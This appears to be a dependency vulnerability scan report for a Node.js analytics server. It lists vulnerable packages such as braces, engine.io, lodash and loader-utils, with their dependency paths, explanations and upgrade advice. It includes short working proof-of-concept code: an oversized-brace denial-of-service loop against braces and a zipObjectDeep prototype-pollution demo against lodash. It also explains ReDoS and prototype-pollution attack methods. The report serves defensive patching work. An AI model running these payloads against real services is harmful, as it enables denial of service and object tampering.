- Introduced through: yarn@0.27.5, nyc@11.9.0 and others
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › yarn@0.27.5 › micromatch@2.3.11 › braces@1.8.5Remediation: Upgrade to yarn@0.28.1.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nyc@11.9.0 › test-exclude@4.2.3 › micromatch@2.3.11 › braces@1.8.5Remediation: Upgrade to nyc@13.0.1.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › babel-cli@6.26.0 › chokidar@1.7.0 › anymatch@1.3.2 › micromatch@2.3.11 › braces@1.8.5
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nyc@11.9.0 › micromatch@3.1.10 › braces@2.3.2Remediation: Upgrade to nyc@13.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › babel-cli@6.26.0 › chokidar@1.7.0 › readdirp@2.2.1 › micromatch@3.1.10 › braces@2.3.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › webpack@2.7.0 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › braces@2.3.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › webpack@2.7.0 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10 › braces@2.3.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › webpack@2.7.0 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10 › braces@2.3.2
Overview
braces is a Bash-like brace expansion, implemented in JavaScript.
Affected versions of this package are vulnerable to Excessive Platform Resource Consumption within a Loop due improper limitation of the number of characters it can handle, through the parse function. An attacker can cause the application to allocate excessive memory and potentially crash by sending imbalanced braces as input.
PoC
const { braces } = require('micromatch');
console.log("Executing payloads...");
const maxRepeats = 10;
for (let repeats = 1; repeats <= maxRepeats; repeats += 1) {
const payload = '{'.repeat(repeats*90000);
console.log(`Testing with ${repeats} repeats...`);
const startTime = Date.now();
braces(payload);
const endTime = Date.now();
const executionTime = endTime - startTime;
console.log(`Regex executed in ${executionTime / 1000}s.\n`);
}
Remediation
Upgrade braces to version 3.0.3 or higher.
References
high severity
- Vulnerable module: engine.io
- Introduced through: sails@0.12.14
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-sockets@0.13.14 › socket.io@1.7.3 › engine.io@1.8.3Remediation: Upgrade to sails@1.0.0.
Overview
engine.io is a realtime engine behind Socket.IO. It provides the foundation of a bidirectional connection between client and server
Affected versions of this package are vulnerable to Denial of Service (DoS) via a POST request to the long polling transport.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade engine.io to version 3.6.0 or higher.
References
high severity
- Vulnerable module: engine.io
- Introduced through: sails@0.12.14
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-sockets@0.13.14 › socket.io@1.7.3 › engine.io@1.8.3Remediation: Upgrade to sails@1.0.0.
Overview
engine.io is a realtime engine behind Socket.IO. It provides the foundation of a bidirectional connection between client and server
Affected versions of this package are vulnerable to Denial of Service (DoS). A malicious client could send a specially crafted HTTP request, triggering an uncaught exception and killing the Node.js process.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade engine.io to version 3.6.1, 6.2.1 or higher.
References
high severity
- Vulnerable module: fresh
- Introduced through: git-server@github:chrisdobler/NodeJS-Git-Server and sails@0.12.14
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › git-server@github:chrisdobler/NodeJS-Git-Server › connect@2.9.2 › fresh@0.2.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › git-server@github:chrisdobler/NodeJS-Git-Server › connect@2.9.2 › send@0.1.4 › fresh@0.2.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › @sailshq/express@3.21.3 › fresh@0.3.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › serve-favicon@2.3.0 › fresh@0.3.0Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › @sailshq/express@3.21.3 › @sailshq/connect@2.30.3 › fresh@0.3.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › @sailshq/express@3.21.3 › send@0.13.0 › fresh@0.3.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › serve-static@1.10.2 › send@0.13.1 › fresh@0.3.0Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › @sailshq/express@3.21.3 › @sailshq/connect@2.30.3 › serve-favicon@2.3.2 › fresh@0.3.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › @sailshq/express@3.21.3 › @sailshq/connect@2.30.3 › serve-static@1.10.3 › send@0.13.2 › fresh@0.3.0
Overview
fresh is HTTP response freshness testing.
Affected versions of this package are vulnerable to Regular expression Denial of Service (ReDoS) attacks. A Regular Expression (/ *, */) was used for parsing HTTP headers and take about 2 seconds matching time for 50k characters.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade fresh to version 0.5.2 or higher.
References
high severity
- Vulnerable module: getobject
- Introduced through: grunt@1.0.1 and sails@0.12.14
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt@1.0.1 › grunt-legacy-util@1.0.0 › getobject@0.1.0Remediation: Upgrade to grunt@1.3.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt@1.0.1 › grunt-legacy-util@1.0.0 › getobject@0.1.0Remediation: Upgrade to sails@1.0.0.
Overview
Affected versions of this package are vulnerable to Prototype Pollution. It allows an attacker to cause a denial of service and may lead to remote code execution.
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade getobject to version 1.0.0 or higher.
References
high severity
- Vulnerable module: loader-utils
- Introduced through: babel-loader@6.4.1, css-loader@0.25.0 and others
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › babel-loader@6.4.1 › loader-utils@0.2.17Remediation: Upgrade to babel-loader@7.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › loader-utils@0.2.17Remediation: Upgrade to css-loader@0.26.2.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › webpack@2.7.0 › loader-utils@0.2.17Remediation: Upgrade to webpack@3.0.0.
Overview
Affected versions of this package are vulnerable to Prototype Pollution in parseQuery function via the name variable in parseQuery.js. This pollutes the prototype of the object returned by parseQuery and not the global Object prototype (which is the commonly understood definition of Prototype Pollution). Therefore, the actual impact will depend on how applications utilize the returned object and how they filter unwanted keys.
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade loader-utils to version 1.4.1, 2.0.3 or higher.
References
high severity
- Vulnerable module: lodash
- Introduced through: grunt-contrib-coffee@1.0.0, grunt@1.0.1 and others
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt-contrib-coffee@1.0.0 › lodash@4.3.0Remediation: Upgrade to grunt-contrib-coffee@2.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt@1.0.1 › grunt-legacy-util@1.0.0 › lodash@4.3.0Remediation: Upgrade to grunt@1.0.3.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt-contrib-coffee@1.0.0 › lodash@4.3.0Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt@1.0.1 › grunt-legacy-log@1.0.2 › grunt-legacy-log-utils@1.0.0 › lodash@4.3.0Remediation: Upgrade to grunt@1.0.3.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt@1.0.1 › grunt-legacy-util@1.0.0 › lodash@4.3.0Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt@1.0.1 › grunt-legacy-log@1.0.2 › grunt-legacy-log-utils@1.0.0 › lodash@4.3.0Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt-contrib-jst@1.0.0 › lodash@2.4.2Remediation: Upgrade to grunt-contrib-jst@2.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt-contrib-jst@1.0.0 › lodash@2.4.2Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › reportback@0.1.9 › lodash@2.4.2Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › lodash@2.4.2Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails-postgresql@0.11.4 › waterline-cursor@0.0.6 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › zip-folder@1.0.0 › archiver@0.11.0 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › reportback@0.1.9 › merge-defaults@0.1.4 › lodash@2.4.2Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › merge-defaults@0.1.4 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › reportback@0.1.9 › switchback@1.1.3 › lodash@2.4.2Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-util@0.11.0 › switchback@1.1.3 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › reportback@0.1.9 › lodash@2.4.2Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-adapter@0.10.7 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-api@0.10.1 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-backend@0.12.8 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-controller@0.10.9 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-gruntfile@0.10.11 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-model@0.10.12 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-sails.io.js@0.13.4 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-views@0.10.8 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-views-jade@0.10.4 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › zip-folder@1.0.0 › archiver@0.11.0 › zip-stream@0.4.1 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › reportback@0.1.9 › captains-log@0.11.11 › merge-defaults@0.1.4 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › reportback@0.1.9 › merge-defaults@0.1.4 › lodash@2.4.2Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-api@0.10.1 › merge-defaults@0.1.4 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › reportback@0.1.9 › switchback@1.1.3 › lodash@2.4.2Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-frontend@0.12.3 › merge-defaults@0.1.0 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-frontend@0.12.3 › sails-generate-sails.io.js@0.14.0 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-orm@1.0.9 › waterline@0.11.12 › switchback@2.0.0 › lodash@2.4.2Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-orm@1.0.9 › waterline@0.11.12 › waterline-criteria@0.11.2 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-sockets@0.13.14 › machinepack-urls@3.1.1 › machine@4.1.1 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › reportback@0.1.9 › captains-log@0.11.11 › merge-defaults@0.1.4 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-sockets@0.13.14 › machinepack-urls@3.1.1 › machine@4.1.1 › switchback@1.1.3 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-sockets@0.13.14 › machinepack-urls@3.1.1 › machine@4.1.1 › rttc@1.0.2 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt-contrib-watch@1.0.0 › lodash@3.10.1Remediation: Upgrade to grunt-contrib-watch@1.0.1.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt-sync@0.5.2 › lodash@3.10.1Remediation: Upgrade to grunt-sync@0.6.2.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › include-all@1.0.8 › lodash@3.10.1Remediation: Upgrade to include-all@3.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails-disk@0.10.10 › lodash@3.10.1Remediation: Upgrade to sails-disk@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails-postgresql@0.11.4 › lodash@3.10.1Remediation: Upgrade to sails-postgresql@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt-contrib-watch@1.0.0 › lodash@3.10.1Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt-sync@0.5.2 › lodash@3.10.1Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › include-all@1.0.8 › lodash@3.10.1
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › captains-log@1.0.0 › lodash@3.10.1
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › rttc@9.3.3 › lodash@3.10.1Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails-disk@0.10.10 › waterline-criteria@1.0.1 › lodash@3.10.1
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails-disk@0.10.10 › waterline-cursor@0.0.7 › lodash@3.10.1
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-disk@0.10.10 › lodash@3.10.1Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-orm@1.0.9 › lodash@3.10.1Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-sockets@0.13.14 › lodash@3.10.1Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-util@0.11.0 › lodash@3.10.1
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › skipper@0.7.6 › lodash@3.10.1Remediation: Upgrade to sails@1.1.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-disk@0.10.10 › waterline-criteria@1.0.1 › lodash@3.10.1
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-disk@0.10.10 › waterline-cursor@0.0.7 › lodash@3.10.1
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-orm@1.0.9 › waterline@0.11.12 › lodash@3.10.1Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-orm@1.0.9 › waterline@0.11.12 › waterline-schema@0.2.2 › lodash@3.10.1Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › anchor@0.10.5 › lodash@3.9.3Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-new@0.10.29 › lodash@3.9.3
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › reportback@0.1.9 › captains-log@0.11.11 › lodash@2.4.1Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-frontend@0.12.3 › lodash@2.4.1
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › reportback@0.1.9 › captains-log@0.11.11 › lodash@2.4.1Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-orm@1.0.9 › rttc@9.3.4 › lodash@3.8.0Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails-postgresql@0.11.4 › waterline-sequel@0.5.7 › lodash@3.10.0
Overview
lodash is a modern JavaScript utility library delivering modularity, performance, & extras.
Affected versions of this package are vulnerable to Prototype Pollution through the zipObjectDeep function due to improper user input sanitization in the baseZipObject function.
PoC
lodash.zipobjectdeep:
const zipObjectDeep = require("lodash.zipobjectdeep");
let emptyObject = {};
console.log(`[+] Before prototype pollution : ${emptyObject.polluted}`);
//[+] Before prototype pollution : undefined
zipObjectDeep(["constructor.prototype.polluted"], [true]);
//we inject our malicious attributes in the vulnerable function
console.log(`[+] After prototype pollution : ${emptyObject.polluted}`);
//[+] After prototype pollution : true
lodash:
const test = require("lodash");
let emptyObject = {};
console.log(`[+] Before prototype pollution : ${emptyObject.polluted}`);
//[+] Before prototype pollution : undefined
test.zipObjectDeep(["constructor.prototype.polluted"], [true]);
//we inject our malicious attributes in the vulnerable function
console.log(`[+] After prototype pollution : ${emptyObject.polluted}`);
//[+] After prototype pollution : true
Details
